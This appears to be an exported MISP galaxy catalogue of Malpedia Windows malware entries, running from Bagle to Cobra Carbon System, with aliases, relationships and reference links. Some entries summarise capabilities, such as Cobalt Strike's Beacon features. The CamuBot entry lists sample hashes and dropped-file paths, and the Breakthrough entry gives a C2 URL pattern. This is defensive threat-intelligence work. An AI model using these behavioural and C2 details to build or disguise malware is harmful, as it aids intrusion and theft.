https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/

Bagle

The tag is: *misp-galaxy:malpedia="Bagle"*

Bagle is also known as:

Bagle has relationships with:

- similar: misp-galaxy:botnet="Bagle" with estimative-language:likelihood-probability="likely"

Table 833. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bagle

Bahamut

The tag is: *misp-galaxy:malpedia="Bahamut"*

Bahamut is also known as:

Table 834. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bahamut
https://www.bellingcat.com/news/mena/2017/06/12/bahamut-pursuing-cyber-espionage-actor-middle-east/
https://www.bellingcat.com/resources/case-studies/2017/10/27/bahamut-revisited-cyber-espionage-middle-east-south-asia/

Banatrix

The tag is: *misp-galaxy:malpedia="Banatrix"*

Banatrix is also known as:

Table 835. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.banatrix
https://www.cert.pl/en/news/single/banatrix-an-indepth-look/

bangat

The tag is: *misp-galaxy:malpedia="bangat"*

bangat is also known as:

Table 836. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bangat
https://www.slideshare.net/YuryChemerkin/appendix-c-digital-the-malware-arsenal

Banjori

The tag is: *misp-galaxy:malpedia="Banjori"*

Banjori is also known as:

- MultiBanker 2
- BankPatch
- BackPatcher

Banjori has relationships with:

- similar: misp-galaxy:banker="Banjori" with estimative-language:likelihood-probability="likely"

Table 837. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.banjori
http://blog.kleissner.org/?p=69
http://osint.bambenekconsulting.com/feeds/
http://blog.kleissner.org/?p=192
https://www.johannesbader.ch/2015/02/the-dga-of-banjori/

Bankshot

The tag is: *misp-galaxy:malpedia="Bankshot"*

Bankshot is also known as:

Bankshot has relationships with:

- similar: misp-galaxy:tool="Bankshot" with estimative-language:likelihood-probability="likely"

Table 838. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bankshot
https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF
https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/

Bart

The tag is: *misp-galaxy:malpedia="Bart"*

Bart is also known as:

Bart has relationships with:

- similar: misp-galaxy:ransomware="Bart" with estimative-language:likelihood-probability="likely"

Table 839. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bart

BatchWiper

The tag is: *misp-galaxy:malpedia="BatchWiper"*

BatchWiper is also known as:

Table 840. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.batchwiper
http://contagiodump.blogspot.com/2012/12/batchwiper-samples.html

Batel

The tag is: *misp-galaxy:malpedia="Batel"*

Batel is also known as:

Table 841. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.batel

BBSRAT

The tag is: *misp-galaxy:malpedia="BBSRAT"*

BBSRAT is also known as:

BBSRAT has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="BBSRAT - S0127" with estimative-language:likelihood-probability="likely"

Table 842. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bbsrat
https://researchcenter.paloaltonetworks.com/2016/03/digital-quartermaster-scenario-demonstrated-in-attacks-against-the-mongolian-government/

Bedep

The tag is: *misp-galaxy:malpedia="Bedep"*

Bedep is also known as:

Bedep has relationships with:

- similar: misp-galaxy:tool="Bedep" with estimative-language:likelihood-probability="likely"

Table 843. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bedep

beendoor

The tag is: *misp-galaxy:malpedia="beendoor"*

beendoor is also known as:

Table 844. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.beendoor

https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf

BernhardPOS

The tag is: *misp-galaxy:malpedia="BernhardPOS"*

BernhardPOS is also known as:

Table 845. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bernhardpos
https://www.morphick.com/resources/news/bernhardpos-new-pos-malware-discovered-morphick

BetaBot

The tag is: *misp-galaxy:malpedia="BetaBot"*

BetaBot is also known as:

- Neurevt

BetaBot has relationships with:

- similar: misp-galaxy:botnet="BetaBot" with estimative-language:likelihood-probability="likely"

Table 846. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.betabot
https://medium.com/@woj_ciech/betabot-still-alive-with-multi-stage-packing-fbe8ef211d39
https://www.ccn-cert.cni.es/seguridad-al-dia/comunicados-ccn-cert/6087-betabot-y-fleercivet-dos-nuevos-informes-de-codigo-danino-del-ccn-cert.html
http://www.xylibox.com/2015/04/betabot-retrospective.html
http://resources.infosecinstitute.com/beta-bot-analysis-part-1/#gref
https://www.arbornetworks.com/blog/asert/beta-bot-a-code-review/
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/BetaBot.pdf?la=en
http://www.malwaredigger.com/2013/09/how-to-extract-betabot-config-info.html

BfBot

The tag is: *misp-galaxy:malpedia="BfBot"*

BfBot is also known as:

Table 847. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bfbot

BillGates

BillGates is a modularized malware, of supposedly Chinese origin. Its main functionality is to perform DDoS attacks, with support for DNS amplification. Often, BillGates is delivered with one or many backdoor modules.

BillGates is available for *nix-based systems as well as for Windows.

On Windows, the (Bill)Gates installer typically contains the various modules as linked resources.

The tag is: *misp-galaxy:malpedia="BillGates"*

BillGates is also known as:

Table 848. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.billgates
https://securelist.com/versatile-ddos-trojan-for-linux/64361/
https://www.akamai.com/kr/ko/multimedia/documents/state-of-the-internet/bill-gates-botnet-threat-advisory.pdf
https://habrahabr.ru/post/213973/

Biscuit

The tag is: *misp-galaxy:malpedia="Biscuit"*

Biscuit is also known as:

- zxdosml

Table 849. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.biscuit
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

Bitsran

The tag is: *misp-galaxy:malpedia="Bitsran"*

Bitsran is also known as:

Table 850. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bitsran
http://baesystemsai.blogspot.de/2017/10/taiwan-heist-lazarus-tools.html

BKA Trojaner

BKA Trojaner is a screenlocker ransomware that was active in 2011, displaying a police-themed message in German language.

The tag is: *misp-galaxy:malpedia="BKA Trojaner"*

BKA Trojaner is also known as:

- bwin3_bka

Table 851. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bka_trojaner
https://www.evild3ad.com/405/bka-trojaner-ransomware/

BlackEnergy

The tag is: *misp-galaxy:malpedia="BlackEnergy"*

BlackEnergy is also known as:

BlackEnergy has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="BlackEnergy - S0089" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="BlackEnergy" with estimative-language:likelihood-probability="likely"

Table 852. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackenergy
https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/
https://securelist.com/be2-extraordinary-plugins-siemens-targeting-dev-fails/68838/
https://securelist.com/blackenergy-apt-attacks-in-ukraine-employ-spearphishing-with-word-documents/73440/

BlackPOS

BlackPOS infects computers running on Windows that have credit card readers connected to them and are part of a POS system. POS system computers can be easily infected if they do not have the most up to date operating systems and antivirus programs to prevent security breaches or if the computer database systems have weak administration login credentials.

The tag is: *misp-galaxy:malpedia="BlackPOS"*

BlackPOS is also known as:

- POSWDS
- Reedum
- Kaptoxa

Table 853. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackpos
https://blog.trendmicro.com/trendlabs-security-intelligence/new-blackpos-malware-emerges-in-the-wild-targets-retail-accounts/

BlackRevolution

The tag is: *misp-galaxy:malpedia="BlackRevolution"*

BlackRevolution is also known as:

Table 854. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackrevolution
https://www.arbornetworks.com/blog/asert/the-revolution-will-be-written-in-delphi/

BlackShades

The tag is: *misp-galaxy:malpedia="BlackShades"*

BlackShades is also known as:

Table 855. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackshades
https://blog.malwarebytes.com/threat-analysis/2014/05/taking-off-the-blackshades/
https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-2-blackshades-net/
https://blog.malwarebytes.com/threat-analysis/2012/06/blackshades-in-syria/
http://contagiodump.blogspot.com/2012/06/rat-samples-from-syrian-targeted.html

Boaxxe

The tag is: *misp-galaxy:malpedia="Boaxxe"*

Boaxxe is also known as:

Table 856. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.boaxxe
https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/

Bohmini

The tag is: *misp-galaxy:malpedia="Bohmini"*

Bohmini is also known as:

Table 857. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bohmini

Bolek

The tag is: *misp-galaxy:malpedia="Bolek"*

Bolek is also known as:

- KBOT

Table 858. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bolek
https://asert.arbornetworks.com/communications-bolek-trojan/
http://www.cert.pl/news/11379

Bouncer

The tag is: *misp-galaxy:malpedia="Bouncer"*

Bouncer is also known as:

Table 859. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bouncer

https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

Bozok

The tag is: *misp-galaxy:malpedia="Bozok"*

Bozok is also known as:

Bozok has relationships with:

- similar: misp-galaxy:rat="Bozok" with estimative-language:likelihood-probability="likely"

Table 860. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bozok
https://www.fireeye.com/blog/threat-research/2013/10/know-your-enemy-tracking-a-rapidly-evolving-apt-actor.html

Brambul

The tag is: *misp-galaxy:malpedia="Brambul"*

Brambul is also known as:

Brambul has relationships with:

- similar: misp-galaxy:tool="Brambul" with estimative-language:likelihood-probability="likely"

Table 861. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.brambul
https://www.us-cert.gov/ncas/alerts/TA18-149A
https://www.us-cert.gov/ncas/analysis-reports/AR18-149A
https://www.acalvio.com/lateral-movement-technique-employed-by-hidden-cobra/

BravoNC

The tag is: *misp-galaxy:malpedia="BravoNC"*

BravoNC is also known as:

Table 862. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bravonc

https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group

Breakthrough

There is no reference available for this family and all known samples have version 1.0.0.

Pdb-strings in the samples suggest that this is an "exclusive" loader, known as "breakthrough" (maybe), e.g. C:\Users\Exclusiv\Desktop\хп-пробив\Release\build.pdb

The communication url parameters are pretty unique in this combination: gate.php?hwid=<guid>&os=<OS>&build=1.0.0&cpu=8

<OS> is one of: Windows95 Windows98 WindowsMe Windows95family WindowsNT3 WindowsNT4 Windows2000 WindowsXP WindowsServer2003 WindowsNTfamily WindowsVista Windows7 Windows8 Windows10

The tag is: *misp-galaxy:malpedia="Breakthrough"*

Breakthrough is also known as:

Table 863. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.breakthrough_loader
https://malpedia.caad.fkie.fraunhofer.de

Bredolab

The tag is: *misp-galaxy:malpedia="Bredolab"*

Bredolab is also known as:

Table 864. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bredolab
https://www.fireeye.com/blog/threat-research/2010/10/bredolab-its-not-the-size-of-the-dog-in-fight.html
https://securelist.com/end-of-the-line-for-the-bredolab-botnet/36335/

BrutPOS

The tag is: *misp-galaxy:malpedia="BrutPOS"*

BrutPOS is also known as:

Table 865. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.brutpos
https://www.fireeye.com/blog/threat-research/2014/07/brutpos-rdp-bruteforcing-botnet-targeting-pos-systems.html

BS2005

The tag is: *misp-galaxy:malpedia="BS2005"*

BS2005 is also known as:

BS2005 has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="BS2005 - S0014" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Hoardy" with estimative-language:likelihood-probability="likely"

Table 866. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bs2005
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/
https://github.com/nccgroup/Royal_APT

BTCWare

The tag is: *misp-galaxy:malpedia="BTCWare"*

BTCWare is also known as:

Table 867. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.btcware
https://www.bleepingcomputer.com/news/security/new-nuclear-btcware-ransomware-released-updated/

Bugat

The tag is: *misp-galaxy:malpedia="Bugat"*

Bugat is also known as:

Bugat has relationships with:

- similar: misp-galaxy:malpedia="Feodo" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:banker="Feodo" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Dridex" with estimative-language:likelihood-probability="likely"

Table 868. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bugat_alreadydump

Buhtrap

The tag is: *misp-galaxy:malpedia="Buhtrap"*

Buhtrap is also known as:

- Ratopak

Table 869. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.buhtrap
https://www.arbornetworks.com/blog/asert/diving-buhtrap-banking-trojan-activity/
https://www.symantec.com/connect/blogs/russian-bank-employees-received-fake-job-offers-targeted-email-attack
https://www.group-ib.com/brochures/gib-buhtrap-report.pdf
https://www.welivesecurity.com/2015/04/09/operation-buhtrap/

Bundestrojaner

The tag is: *misp-galaxy:malpedia="Bundestrojaner"*

Bundestrojaner is also known as:

- R2D2
- 0zapftis

Table 870. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bundestrojaner
http://www.ccc.de/system/uploads/76/original/staatstrojaner-report23.pdf
http://www.stoned-vienna.com/analysis-of-german-bundestrojaner.html
https://www.f-secure.com/weblog/archives/00002249.html

Bunitu

Bunitu is a trojan that exposes infected computers to be used as a proxy for remote clients. It registers itself at startup by providing its address and open ports. Access to Bunitu proxies is available by using criminal VPN services (e.g.VIP72).

The tag is: *misp-galaxy:malpedia="Bunitu"*

Bunitu is also known as:

Table 871. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bunitu
https://blog.malwarebytes.com/threat-analysis/2015/07/revisiting-the-bunitu-trojan/
https://blog.malwarebytes.com/threat-analysis/2015/08/whos-behind-your-proxy-uncovering-bunitus-secrets/
http://malware-traffic-analysis.net/2017/05/09/index.html
https://zerophagemalware.com/2017/06/07/rig-ek-via-fake-eve-online-website-drops-bunitu/

Buterat

The tag is: *misp-galaxy:malpedia="Buterat"*

Buterat is also known as:

- spyvoltar

Table 872. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.buterat
http://antivirnews.blogspot.com/2011/01/backdoorwin32-buteratafj.html

Buzus

The tag is: *misp-galaxy:malpedia="Buzus"*

Buzus is also known as:

Buzus has relationships with:

- similar: misp-galaxy:botnet="Donbot" with estimative-language:likelihood-probability="likely"

Table 873. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.buzus

BYEBY

The tag is: *misp-galaxy:malpedia="BYEBY"*

BYEBY is also known as:

Table 874. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.byeby
https://researchcenter.paloaltonetworks.com/2017/09/unit42-threat-actors-target-government-belarus-using-cmstar-trojan

c0d0so0

The tag is: *misp-galaxy:malpedia="c0d0so0"*

c0d0so0 is also known as:

Table 875. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.c0d0so0

CabArt

The tag is: *misp-galaxy:malpedia="CabArt"*

CabArt is also known as:

Table 876. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cabart

CadelSpy

The tag is: *misp-galaxy:malpedia="CadelSpy"*

CadelSpy is also known as:

- Cadelle

Table 877. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cadelspy
http://www.symantec.com/content/en/us/enterprise/media/security_response/docs/CadelSpy-Remexi-IOC.pdf

CamuBot

There is no lot of IOCs in this article so we take one sample and try to extract some interesting IOCs, our findings below :

CamuBot sample : 37ca2e37e1dc26d6b66ba041ed653dc8ee43e1db71a705df4546449dd7591479

Dropped Files on disk :

C:\Users\user~1\AppData\Local\Temp\protecao.exe : 0af612461174eedec813ce670ba35e74a9433361eacb3ceab6d79232a6fe13c1

C:\Users\user~1\AppData\Local\Temp\Renci.SshNet.dll : 3E3CD9E8D94FC45F811720F5E911B892A17EE00F971E498EAA8B5CAE44A6A8D8

C:\ProgramData\m.msi : AD90D4ADFED0BDCB2E56871B13CC7E857F64C906E2CF3283D30D6CFD24CD2190

Protecao.exe try to download hxxp://www.usb-over-network.com/usb-over-network-64bit.msi

A new driver is installed : C:\Windows\system32\drivers\ftusbload2.sys : 9255E8B64FB278BC5FFE5B8F70D68AF8

ftusbload2.sys set 28 IRP handlers.

The tag is: *misp-galaxy:malpedia="CamuBot"*

CamuBot is also known as:

CamuBot has relationships with:

- similar: misp-galaxy:banker="CamuBot" with estimative-language:likelihood-probability="likely"

Table 878. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.camubot
https://securityintelligence.com/camubot-new-financial-malware-targets-brazilian-banking-customers/

Cannibal Rat

Cannibal Rat is a python written remote access trojan with 4 versions as of March 2018. The RAT is reported to impact users of a Brazilian public sector management school. The RAT is distributed in a py2exe format, with the python27.dll and the python bytecode stored as a PE resource and the additional libraries zipped in the overlay of the executable.

The tag is: *misp-galaxy:malpedia="Cannibal Rat"*

Cannibal Rat is also known as:

Table 879. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cannibal_rat
http://blog.talosintelligence.com/2018/02/cannibalrat-targets-brazil.html

Carbanak

The tag is: *misp-galaxy:malpedia="Carbanak"*

Carbanak is also known as:

- Anunak

Carbanak has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Carbanak - S0030" with estimative-language:likelihood-probability="likely"

Table 880. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.carbanak
https://securelist.com/files/2015/02/Carbanak_APT_eng.pdf
https://www.fox-it.com/en/wp-content/uploads/sites/11/Anunak_APT-against-financial-institutions2.pdf
https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html

Carberp

The tag is: *misp-galaxy:malpedia="Carberp"*

Carberp is also known as:

Table 881. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.carberp

Cardinal RAT

The tag is: *misp-galaxy:malpedia="Cardinal RAT"*

Cardinal RAT is also known as:

Cardinal RAT has relationships with:

- similar: misp-galaxy:tool="Cardinal RAT" with estimative-language:likelihood-probability="likely"

Table 882. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cardinal_rat
http://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/?adbsc=social71702736&adbid=855028404965433346&adbpl=tw&adbpr=4487645412

Casper

ESET describes Casper as a well-developed reconnaissance tool, making extensive efforts to remain unseen on targeted machines. Of particular note are the specific strategies adopted against anti-malware software. Casper was used against Syrian targets in April 2014, which makes it the most recent malware from this group publicly known at this time.

The tag is: *misp-galaxy:malpedia="Casper"*

Casper is also known as:

Casper has relationships with:

- similar: misp-galaxy:tool="Casper" with estimative-language:likelihood-probability="likely"

Table 883. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.casper
https://www.welivesecurity.com/2015/03/05/casper-malware-babar-bunny-another-espionage-cartoon/

Catchamas

The tag is: *misp-galaxy:malpedia="Catchamas"*

Catchamas is also known as:

Table 884. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.catchamas
https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets

CCleaner Backdoor

The tag is: *misp-galaxy:malpedia="CCleaner Backdoor"*

CCleaner Backdoor is also known as:

Table 885. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ccleaner_backdoor
https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities
https://www.crowdstrike.com/blog/protecting-software-supply-chain-deep-insights-ccleaner-backdoor/
http://www.intezer.com/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/
https://blog.avast.com/avast-threat-labs-analysis-of-ccleaner-incident
http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html
http://www.intezer.com/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/
https://blog.avast.com/progress-on-ccleaner-investigation
https://www.wired.com/story/ccleaner-malware-targeted-tech-firms
https://blog.avast.com/update-ccleaner-attackers-entered-via-teamviewer
https://twitter.com/craiu/status/910148928796061696
https://blog.avast.com/additional-information-regarding-the-recent-ccleaner-apt-security-incident
http://blog.morphisec.com/morphisec-discovers-ccleaner-backdoor
https://www.crowdstrike.com/blog/in-depth-analysis-of-the-ccleaner-backdoor-stage-2-dropper-and-its-payload/
http://blog.talosintelligence.com/2017/09/ccleaner-c2-concern.html

CenterPOS

The tag is: *misp-galaxy:malpedia="CenterPOS"*

CenterPOS is also known as:

- cerebrus

Table 886. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.centerpos
https://www.fireeye.com/blog/threat-research/2016/01/centerpos_an_evolvi.html

Cerber

A prolific ransomware which originally added ".cerber" as a file extension to encrypted files. Has undergone multiple iterations in which the extension has changed. Uses a very readily identifiable set of of UDP activity to checkin and report infections. Primarily uses TOR for payment information.

The tag is: *misp-galaxy:malpedia="Cerber"*

Cerber is also known as:

Cerber has relationships with:

- similar: misp-galaxy:ransomware="Cerber" with estimative-language:likelihood-probability="likely"

Table 887. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cerber
http://blog.trendmicro.com/trendlabs-security-intelligence/cerber-starts-evading-machine-learning/
https://blog.malwarebytes.com/threat-analysis/2016/03/cerber-ransomware-new-but-mature/
https://www.virusbulletin.com/virusbulletin/2017/12/vb2017-paper-nine-circles-cerber/
https://rinseandrepeatanalysis.blogspot.com/2018/08/reversing-cerber-raas.html

Cerbu

The tag is: *misp-galaxy:malpedia="Cerbu"*

Cerbu is also known as:

Table 888. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cerbu_miner

ChChes

The tag is: *misp-galaxy:malpedia="ChChes"*

ChChes is also known as:

- Ham Backdoor

ChChes has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="ChChes - S0144" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="HAYMAKER" with estimative-language:likelihood-probability="likely"

Table 889. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chches
https://www.cylance.com/en_us/blog/the-deception-project-a-new-japanese-centric-threat.html
https://www.jpcert.or.jp/magazine/acreport-ChChes_ps1.html

https://www.jpcert.or.jp/magazine/acreport-ChChes.html
http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf

CherryPicker POS

The tag is: *misp-galaxy:malpedia="CherryPicker POS"*

CherryPicker POS is also known as:

- cherrypickerpos
- cherrypicker
- cherry_picker

Table 890. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cherry_picker
https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/
https://www.trustwave.com/Resources/SpiderLabs-Blog/New-Memory-Scraping-Technique-in-Cherry-Picker-PoS-Malware/

ChewBacca

The tag is: *misp-galaxy:malpedia="ChewBacca"*

ChewBacca is also known as:

Table 891. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chewbacca
http://vinsula.com/2014/03/01/chewbacca-tor-based-pos-malware/

Chinad

Adware that shows advertisements using plugin techniques for popular browsers

The tag is: *misp-galaxy:malpedia="Chinad"*

Chinad is also known as:

Table 892. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.chinad

Chir

The tag is: *misp-galaxy:malpedia="Chir"*

Chir is also known as:

Table 893. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chir

Chthonic

The tag is: *misp-galaxy:malpedia="Chthonic"*

Chthonic is also known as:

- AndroKINS

Chthonic has relationships with:

- similar: misp-galaxy:banker="Chthonic" with estimative-language:likelihood-probability="likely"

Table 894. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chthonic
https://www.proofpoint.com/us/threat-insight/post/threat-actors-using-legitimate-paypal-accounts-to-distribute-chthonic-banking-trojan
https://www.s21sec.com/en/blog/2017/07/androkins/
https://securelist.com/chthonic-a-new-modification-of-zeus/68176/

Citadel

The tag is: *misp-galaxy:malpedia="Citadel"*

Citadel is also known as:

Citadel has relationships with:

- similar: misp-galaxy:banker="Citadel" with estimative-language:likelihood-probability="likely"

Table 895. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.citadel

https://blog.malwarebytes.com/threat-analysis/2012/11/citadel-a-cyber-criminals-ultimate-weapon/
http://www.xylibox.com/2016/02/citadel-0011-atmos.html
http://blog.jpcert.or.jp/2016/02/banking-trojan—27d6.html
https://www.arbornetworks.com/blog/asert/the-citadel-and-gameover-campaigns-of-5cb682c10440b2ebaf9f28c1fe438468/

Client Maximus

The tag is: *misp-galaxy:malpedia="Client Maximus"*

Client Maximus is also known as:

Client Maximus has relationships with:

- similar: misp-galaxy:rat="Client Maximus" with estimative-language:likelihood-probability="likely"

Table 896. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.client_maximus
https://securityintelligence.com/client-maximus-new-remote-overlay-malware-highlights-rising-malcode-sophistication-in-brazil/

Cloud Duke

The tag is: *misp-galaxy:malpedia="Cloud Duke"*

Cloud Duke is also known as:

Table 897. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cloud_duke
https://www.f-secure.com/weblog/archives/00002822.html

CMSBrute

The tag is: *misp-galaxy:malpedia="CMSBrute"*

CMSBrute is also known as:

Table 898. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cmsbrute
https://securelist.com/the-shade-encryptor-a-double-threat/72087/

CMSTAR

The tag is: *misp-galaxy:malpedia="CMSTAR"*

CMSTAR is also known as:

- meciv

Table 899. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cmstar
https://researchcenter.paloaltonetworks.com/2016/03/digital-quartermaster-scenario-demonstrated-in-attacks-against-the-mongolian-government/
https://researchcenter.paloaltonetworks.com/2017/09/unit42-threat-actors-target-government-belarus-using-cmstar-trojan
https://twitter.com/ClearskySec/status/963829930776723461
https://www.votiro.com/single-post/2018/02/13/New-campaign-targeting-Ukrainians-holds-secrets-in-documents-properties

Cobalt Strike

Cobalt Strike is a paid penetration testing product that allows an attacker to deploy an agent named 'Beacon' on the victim machine. Beacon includes a wealth of functionality to the attacker, including, but not limited to:

- Execute commands
- Log keystrokes
- Upload/download files
- SOCKS proxy
- Privilege escalation
- Mimikatz
- Port scanning
- Lateral Movement

The Beacon implant has become popular amongst targeted attackers and criminal users as it is well written, stable, and highly customizable.

The tag is: *misp-galaxy:malpedia="Cobalt Strike"*

Cobalt Strike is also known as:

Cobalt Strike has relationships with:

- similar: misp-galaxy:rat="Cobalt Strike" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-tool="Cobalt Strike - S0154" with estimative-

language:likelihood-probability="likely"

Table 900. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike
https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks
https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html
https://blog.cobaltstrike.com/2018/04/09/cobalt-strike-3-11-the-snake-that-eats-its-tail/
https://www.lac.co.jp/lacwatch/people/20180521_001638.html

Cobian RAT

The tag is: *misp-galaxy:malpedia="Cobian RAT"*

Cobian RAT is also known as:

Cobian RAT has relationships with:

- similar: misp-galaxy:rat="Cobian RAT" with estimative-language:likelihood-probability="likely"

Table 901. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cobian_rat
https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat
https://securityaffairs.co/wordpress/62573/malware/cobian-rat-backdoor.html

CobInt

CobInt, is a self-developed backdoor of the Cobalt group. The modular tool has capabilities to collect initial intelligence information about the compromised machine and stream video from its desktop. If the operator decides that the system is of interest, the backdoor will download and launch CobaltStrike framework stager.

The tag is: *misp-galaxy:malpedia="CobInt"*

CobInt is also known as:

- COOLPANTS

Table 902. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cobint
https://www.proofpoint.com/us/threat-insight/post/new-modular-downloaders-fingerprint-systems-part-3-cobint
https://www.group-ib.com/blog/renaissance

https://asert.arbornetworks.com/double-the-infection-double-the-fun/

Cobra Carbon System

The tag is: *misp-galaxy:malpedia="Cobra Carbon System"*

Cobra Carbon System is also known as:

- Carbon

Table 903. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cobra
https://blog.gdatasoftware.com/2015/01/23926-analysis-of-project-cobra
https://www.melani.admin.ch/dam/melani/de/dokumente/2016/technical%20report%20ruag.pdf.download.pdf/Report_Ruag-Espionage-Case.pdf
https://securelist.com/analysis/publications/65545/the-epic-turla-operation/
